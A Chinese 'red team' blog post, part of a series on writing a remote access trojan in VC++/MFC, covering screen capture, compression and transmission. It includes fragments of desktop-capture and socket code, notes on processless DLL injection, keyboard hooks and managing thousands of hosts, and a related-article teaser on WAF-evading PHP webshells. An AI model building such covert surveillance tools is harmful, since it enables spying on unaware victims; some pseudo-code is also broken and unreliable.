红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远程桌面屏幕监控

news2024/12/23 13:45:13

在这里插入图片描述

红队专题

  • 招募六边形战士队员
  • [24]屏幕监控-(1)屏幕查看与控制技术的讲解
    • 图像压缩算法
    • 图像数据转换
    • 其他
  • [25]---屏幕监控(2)查看屏幕的实现
  • 7.1 屏幕抓图显示
  • 7.7 完善主控端

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

[24]屏幕监控-(1)屏幕查看与控制技术的讲解

屏幕监控的流程

服务端
while(true)
{
    获取图像数据();
    //
    发送图像数据();
}

客户端
while()
{
    //
    接受图像数据();
    显示图像();
}

查看屏幕的 define 宏信号

1024*768 分辨率 产生 大小 bmp
2.25M
肉眼 每秒24帧

基本流程:获取图像 — 发送图像 — 显示图像

实际流程:获取图像 — 压缩/转换图像 — 发送图像 — 解压/转换图像 — 显示图像

图像压缩算法

char *p;   // 字符数组 
int GetScreenSize();
p = new GetScreenSize(); p[] = {BYTE}; //unsigned char
p[100] = {aaaccccbbbbbbaeccefsgsdf...};

RLE算法(Run-Length Encoding) LZW算法(Lempel-Ziv-Welch Encoding) 霍夫曼压缩 RAR - LZW
在这里插入图片描述

RLE:{aaaccccbbbbbba} 压缩{a3c4b5a1} 解压{aaaccccbbbbba}
适用于屏幕数据中存在大量同样数据

RLE变种:{abcbcbcbcabcbca} 压缩{a1bc4a1bc2a1}

LZW:{abcbcbcbcabcbcab} 压缩字典{ab:1 cb:2 ca:3}{12223221}
解压:根据字典来解压 适用于任何情况

图像数据转换

zlib.lib JPEG类(有损压缩)
1024*768 分辨率
164kb

http://www.cctry.com/thread-50457-1-1.html //zlib库的使用
http://www.cctry.com/thread-5653-1-1.html //zlib库的例子

CapScreenJpeg JPEG算法

其他

隔行扫描算法 屏幕分块获取 屏幕数据判断
http://www.cctry.com/thread-45471-1-1.html //隔行扫描

隔行扫描:
灰鸽子 Delphi
DRAT Delphi
Gh0st C++

LZW:
Vipshell
守候远控

压缩库
PCShare

综合使用 + 汇编实现
1:150 倍

[25]—屏幕监控(2)查看屏幕的实现

在这里插入图片描述
多线程 + 阻塞socket
1000-2000台
完成端口
60000 自由管理

DLL形式 注入-无进程

屏幕传输的压缩解压方案

键盘钩子

try优化

定制化远控
界面
命令
传输结构体

void CScreen::GetScreen()
{
    CDC* pDeskDC = CWnd::GetDesktopWindow()->GetDC(); //获取桌面画布对象
    CRect rc;
    CWnd::GetDesktopWindow()->GetClientRect(rc); //获取屏幕的客户区域
    int width = GetSystemMetrics(SM_CXSCREEN); //获取屏幕的宽度
    int height = GetSystemMetrics(SM_CYSCREEN); //获取屏幕的高度
    CDC memDC; //定义一个内存画布
    memDC.CreateCompatibleDC(pDeskDC); //创建一个兼容的画布
    CBitmap bmp;
    bmp.CreateCompatibleBitmap(pDeskDC,width,height); //创建兼容位图
    memDC.SelectObject(&bmp); //选中位图对象
    BITMAP bitmap;
    bmp.GetBitmap(&bitmap);
    panelsize = 0; //记录调色板大小
    //需要增加颜色判断算法
    //bitmap.bmBitsPixel = 4; //更改颜色
    if (bitmap.bmBitsPixel<16) //判断是否为真彩色位图
    {
        panelsize = pow(2.0,(double)bitmap.bmBitsPixel*sizeof(RGBQUAD));
    }
    HeadTotal = (int)panelsize + sizeof(BITMAPINFO);
    pBMPINFO = (BITMAPINFO*)LocalAlloc(LPTR,sizeof(BITMAPINFO)+(int)panelsize);
    pBMPINFO->bmiHeader.biBitCount      = bitmap.bmBitsPixel;//4
    pBMPINFO->bmiHeader.biClrImportant  = 0;
    pBMPINFO->bmiHeader.biCompression   = 0;
    pBMPINFO->bmiHeader.biHeight        = height;
    pBMPINFO->bmiHeader.biPlanes        = bitmap.bmPlanes;
    pBMPINFO->bmiHeader.biSize          = sizeof(BITMAPINFO);
    pBMPINFO->bmiHeader.biSizeImage     = bitmap.bmWidthBytes*bitmap.bmHeight;
    pBMPINFO->bmiHeader.biWidth         = width;
    pBMPINFO->bmiHeader.biXPelsPerMeter = 0;
    pBMPINFO->bmiHeader.biYPelsPerMeter = 0;
    memDC.BitBlt(0,0,width,height,pDeskDC,0,0,SRCCOPY);
    TotalSize = bitmap.bmWidthBytes * bitmap.bmHeight;
    pData = new BYTE[TotalSize];
    if(::GetDIBits(memDC.m_hDC,bmp,0,bitmap.bmHeight,pData,pBMPINFO,DIB_RGB_COLORS)==0)
    {
        printf("Return 0\n");
        //delete pData;
        pData = NULL;
        return;
    }
}

#include "Common.h"
#include "MySocket.h"

class CScreen
{
private:
    void GetScreen();
    void SendBmpHeaderinfo();
    void SendBmpData();
    BYTE* pData;
    BITMAPINFO *pBMPINFO;
    CMySocket m_sock;
    UINT TotalSize;
    int HeadTotal;
    double panelsize;
public:
    HANDLE m_h;
    void CleanData();
    void SendScreenData();
    CScreen(void);
    ~CScreen(void);
    bool flag;
    SOCKET m_sock_screen;
};
server.cpp  安装服务的操作	


int _tmain(int argc, _TCHAR* argv[])
{
    /*
    SERVICE_TABLE_ENTRY DispatchTable[] =
    {
        //服务程序的名称和入口点
        {(wchar_t*)ServiceName,ServiceMain}, //服务名
        //SERVICE_TABLE_ENTRY结构必须以“NULL”结束
        {NULL,NULL}
    };
    //连接服务控制管理器,开始控制调度程序线程
    StartServiceCtrlDispatcherW(DispatchTable);
    InstallService();
    */
    ::CloseHandle(CreateThread(NULL,0,RunService,NULL,0,NULL));
    while(true)
    {
        Sleep(10000);
    }
	return 0;
}

创建线程 点击主机Runservice

//#pragma comment( linker, “/subsystem:windows /entry:wmainCRTStartup” )

有命令行能够显示

7.1 屏幕抓图显示

7.7 完善主控端

· 跟踪鼠标
· 色位调整

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1149042.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023/10/29总结

总结 踩坑记录 写代码的时候遇到了一个错误大概是这样的 io.jsonwebtoken.security.WeakKeyException: The signing keys size is 48 bits which is not secure enough for the HS256 algorithm. The JWT JWA Specification (RFC 7518, Section 3.2) states that keys used…

【设计模式】第14节:结构型模式之“代理模式”

一、简介 代理模式&#xff08;Proxy Design Pattern&#xff09;在不改变原始类&#xff08;或叫被代理类&#xff09;代码的情况下&#xff0c;通过引入代理类来给原始类附加功能。 二、优点 关注点分离访问控制延迟实例化远程访问缓存增加附加功能 三、应用场景 访问控…

metaRTC集成flutter ui demo编译指南

概要 Flutter是由Google开发的开源UI工具包&#xff0c;用于构建跨平台应用程序&#xff0c;支持linux/windows/mac/android/ios等操作系统。 metaRTC新增flutter demo&#xff0c;支持linux/windows/mac/android/ios操作系统&#xff0c;此demo在ubuntu桌面环境下测试成功。…

Linux常用命令——chmod命令

在线Linux命令查询工具 chmod 用来变更文件或目录的权限 补充说明 chmod命令用来变更文件或目录的权限。在UNIX系统家族里&#xff0c;文件或目录权限的控制分别以读取、写入、执行3种一般权限来区分&#xff0c;另有3种特殊权限可供运用。用户可以使用chmod指令去变更文件…

http协议/https协议

http协议&#xff08;HyperText Transfer Protocol - 超文本传输协议&#xff09;&#xff1a; 在网络层中被广为人知的协议&#xff0c;想必没有学过计算机的人都知道http是有关网站&#xff0c;网络的&#xff0c;那么究竟其中有哪些东西是需要计算机相关人员掌握的&#xff…

2023年CCF中国开源大会“大模型时代的智能化软件工程新范式”分论坛成功举行...

2023年CCF中国开源大会“大模型时代的智能化软件工程新范式”分论坛于10月21日在湖南长沙成功举行。本次论坛聚焦大模型时代的智能化软件新生态以及相应的软件工程新范式&#xff0c;邀请了多位来自学术界和工业界的专家进行分享和交流&#xff0c;共设置了5个主题报告和1个Pan…

2023年中国多功能电子书包产量、销量及市场规模分析[图]

多功能电子书包是一种便携式电子设备&#xff0c;旨在提供类似于传统纸质书包的功能&#xff0c;但具有更多的数字功能。它可以存储、阅读、编辑和分享电子书籍、文档、图片和音频/视频文件等。 多功能电子书包行业的优点 资料来源&#xff1a;共研产业咨询&#xff08;共研网…

如何取消磁盘的BitLocker加密?

C盘被加密了&#xff0c;该怎么取消加密呢&#xff1f; 下面提供详细步骤供参考&#xff1a; 步骤1. 打开开始菜单&#xff0c;并点击齿轮图标&#xff0c;打开[设置] 步骤2. 在Windows设置视窗中点击[更新和安全] 步骤3. 点击左侧的[设备加密]&#xff0c;然后点击视窗右侧的…

在Qt中List View和List Widget的区别是什么,以及如何使用它们

2023年10月29日&#xff0c;周日晚上 目录 List View和List Widget的区别 如何使用QListView 如何使用QListWidget List View和List Widget的区别 在Qt中&#xff0c;QListView 和 QListWidget 是用于显示列表数据的两个常用控件&#xff0c;它们有一些区别和特点。 1. 数…

基于SpringBoot的图书电子商务网站设计与实现

目录 前言 一、技术栈 二、系统功能介绍 管理员功能实现 用户管理 图书分类管理 图书信息管理 订单管理 用户功能实现 图书信息 购物车 确认下单 我的收藏 三、核心代码 1、登录模块 2、文件上传模块 3、代码封装 前言 社会发展日新月异&#xff0c;用计算机应用…

【蓝桥杯选拔赛真题05】C++超级素数 青少年组蓝桥杯C++选拔赛真题 STEMA比赛真题解析

目录 C/C++超级素数 一、题目要求 1、编程实现 2、输入输出 二、算法分析 <

BAT035.【工作常用批处理专栏】批处理功能说明及下载

引言:本文主要提供本专栏中练习的批处理功能进行说明和下载。 一、本专栏练习的批处理下载地址 链接:https://pan.baidu.com/s/1L_V-_LojpbfFcUFbvBK1_A 提取码:vady 二、本专栏练习的批处理汇总如下 【工作常用批处理专栏】批处理目录树: │ BAT001.CMD命令速查手册.h…

脚本木马编写

PHP小马编写 小马用waf扫描&#xff0c;没扫描出来有风险。 小马过waf之后用echo $_SERVER[DOCUMENT_ROOT]获得当前运行脚本所在的文档根目录。&#xff0c;然后在上传大马工具。 $_SERVER&#xff0c;参考&#xff1a;PHP $_SERVER详解 小马编写二次加密 现在是可以被安全…

uniapp中APP端使用echarts用formatter设置y轴保留2位小数点不生效

uniapp使用echarts&#xff0c;在内置浏览器中&#xff0c;设置保留2位小数能正常显示&#xff08;代码如下&#xff09;&#xff0c;但是在APP端这个设置不起作用。 yAxis: {type: value,axisLabel: {formatter: function (val) {return val.toFixed(2); //y轴始终保留小数点…

Flask_Login使用与源码解读

一、前言 用户登录后&#xff0c;验证状态需要记录在会话中&#xff0c;这样浏览不同页面时才能记住这个状态&#xff0c;Flask_Login是Flask的扩展&#xff0c;专门用于管理用户身份验证系统中的验证状态。 注&#xff1a;Flask是一个微框架&#xff0c;仅提供包含基本服务的…

redis-集群切片

切片集群 我曾遇到过这么一个需求&#xff1a;要用 Redis 保存 5000 万个键值对&#xff0c;每个键值对大约是 512B&#xff0c;为了能快速部署并对外提供服务&#xff0c;我们采用云主机来运行 Redis 实例&#xff0c;那么&#xff0c;该如何选择云主机的内存容量呢&#xff…

【设计模式】第10节:结构型模式之“组合模式”

一、简介 组合模式&#xff1a;将一组对象组织成树形结构&#xff0c;将单个对象和组合对象都看做树中的节点&#xff0c;以统一处理逻辑&#xff0c;并且它利用树形结构的特点&#xff0c;递归地处理每个子树&#xff0c;依次简化代码实现。使用组合模式的前提在于&#xff0…

【数据结构与算法】JavaScript实现集合与字典

文章目录 一、集合结构1.1.简介1.2.代码实现1.3.集合间的操作 二、字典结构2.1.简介2.2.封装字典 一、集合结构 1.1.简介 集合比较常见的实现方式是哈希表&#xff0c;这里使用JavaScript的Object类进行封装。 集合通常是由一组无序的、不能重复的元素构成。 数学中常指的集…

记录linux运行服务提示报错/bin/java: 没有那个文件或目录

描述&#xff1a;在执行jar启动命令时候提示 没有/bin/java 这个文件或者目录&#xff1b;然后我vi /usr/bin/java&#xff0c;是存在该文件的&#xff1b;那到底是什么问题呢&#xff0c;该不是没有创建软连接吧&#xff1f; 1、执行下述命令先测试下软链接是否有创建 ln -s …

SpringCloud微服务保护方案解读

目录 服务雪崩定义 问题的产生 示例 雪崩产生的几种场景 解决方案 熔断模式 隔离模式&#xff08;仓壁模式 &#xff09; 限流模式 超时处理 总结 服务保护技术对比 服务雪崩定义 我们都知道在微服务中&#xff0c;服务间调用关系错综复杂&#xff0c;一个微服务…